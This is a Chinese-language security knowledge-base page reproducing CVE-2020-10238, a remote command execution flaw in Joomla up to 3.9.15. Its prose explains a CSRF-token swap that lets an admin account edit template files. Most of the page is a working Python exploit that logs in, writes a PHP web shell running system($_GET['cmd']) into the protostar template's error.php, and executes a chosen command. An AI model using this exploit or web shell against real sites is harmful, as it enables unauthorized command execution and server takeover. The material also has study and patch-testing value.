menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 072-Joomla chevron_right 007-CVE-2020-10238 Joomal _= 3.9.15 远程命令执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    007-CVE-2020-10238 Joomal _= 3.9.15 远程命令执行漏洞.md
    4.14 KB / 2021-07-17 00:01:28
        # CVE-2020-10238 Joomal <= 3.9.15 远程命令执行漏洞
    
    ### 一、漏洞简介
    
    ### 二、漏洞影响
    
    <= 3.9.15
    
    ### 三、复现过程
    
    
    ```
    http://url/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ==
    ```
    
    使用admin进行登录
    
    ![](images/15891007741142.png)
    
    
    **思路:**
    
    * 首先超级管理员跟管理员的后台界面是不同的
    * 将恶意代码添加到index.php里面
    * 使用管理员账户修改index.php,通过超级管理员进行index.php的文件编辑来获取到返回请求。
    
    ![](images/15891007875276.png)
    
    
    为了方便阅读,这里我们删掉index.php的内容,只保留shell
    
    ![](images/15891007941787.png)
    
    
    黄色部分为超级管理员的token,Joomal通过此令牌来防止csrf
    
    这里我们先在burp里面保存此请求,先试用管理员账户进行登录,获取一下管理员账户的token。
    
    ![](images/15891008011455.png)
    
    
    ![](images/15891008045407.png)
    
    
    如上图黄色部分为管理员的token,我们用管理员的token替换超级管理员的token,并且编辑url
    
    ![](images/15891008111690.png)
    
    
    ![](images/15891008139593.png)
    
    
    ![](images/15891008179618.png)
    
    
    **poc**
    
    ![](images/15891008276524.png)
    
    
    
    ```python
    #!/usr/bin/python
    import sys
    import requests
    import re
    import argparse
    
    def extract_token(resp):
        match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
        if match is None:
            print("[-] Cannot find CSRF token!\n") + "[-] You are not admin account!"
            return None
        return match.group(1)
    def try_admin_login(sess,url,uname,upass):
        admin_url = url+'/administrator/index.php'
        print('[+] Getting token for admin login')
        resp = sess.get(admin_url, verify=True)
        token = extract_token(resp)
        # print token
        if not token:
            return False
        print('[+] Logging in to admin')
        data = {
            'username': uname,
            'passwd': upass,
            'task': 'login',
            token: '1'
        }
        resp = sess.post(admin_url, data=data, verify=True)
        if 'task=profile.edit' not in resp.text:
            print('[!] Admin Login Failure!')
            return None
        print('[+] Admin Login Successfully!')
        return True
    
    def rce(sess,url,cmd):
        getjs = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=L2Vycm9yLnBocA%3D%3D'
        resp = sess.get(getjs, verify=True)
        token = extract_token(resp)
        if (token==None) : sys.exit()
        filename='error.php'
        shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
        shdata_up = {
            'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
            'task': 'template.apply',
            token: '1',
            'jform[extension_id]': '506',
            'jform[filename]': '/' + filename
        }
        shreq = sess.post(shlink, data=shdata_up)
        path2shell = '/templates/protostar/error.php?cmd='+cmd
        # print '[+] Shell is ready to use: ' + str(path2shell)
        print '[+] Checking:'
        shreq = sess.get(url + path2shell)
        shresp = shreq.text
        print shresp + '[+] Shell link: \n' + (url + path2shell)
        print '[+] Module finished.'
    
    def main() :
        
        # Construct the argument parser
        ap = argparse.ArgumentParser()
        # Add the arguments to the parser
        ap.add_argument("-url", "--url", required=True,
                        help=" URL for your Joomla target")
        ap.add_argument("-u", "--username", required=True,
                        help="username")
        ap.add_argument("-p", "--password", required=True,
                        help="password")
        ap.add_argument("-cmd", "--command", default="whoami",
                        help="command")
        args = vars(ap.parse_args())
        # target
        url = format(str(args['url']))
        print '[+] Your target: ' + url
        # username
        uname = format(str(args['username']))
        # password
        upass = format(str(args['password']))
        # command
        command = format(str(args['command']))
        
        sess = requests.Session()
        if(try_admin_login(sess,url,uname,upass) == None) : sys.exit()
        rce(sess,url,command)
    if __name__ == "__main__":
        sys.exit(main())
    ```
    
    参考链接
    
    https://github.com/HoangKien1020/CVE-2020-10238/tree/master/CVE-2020-10238
    
    links
    file_download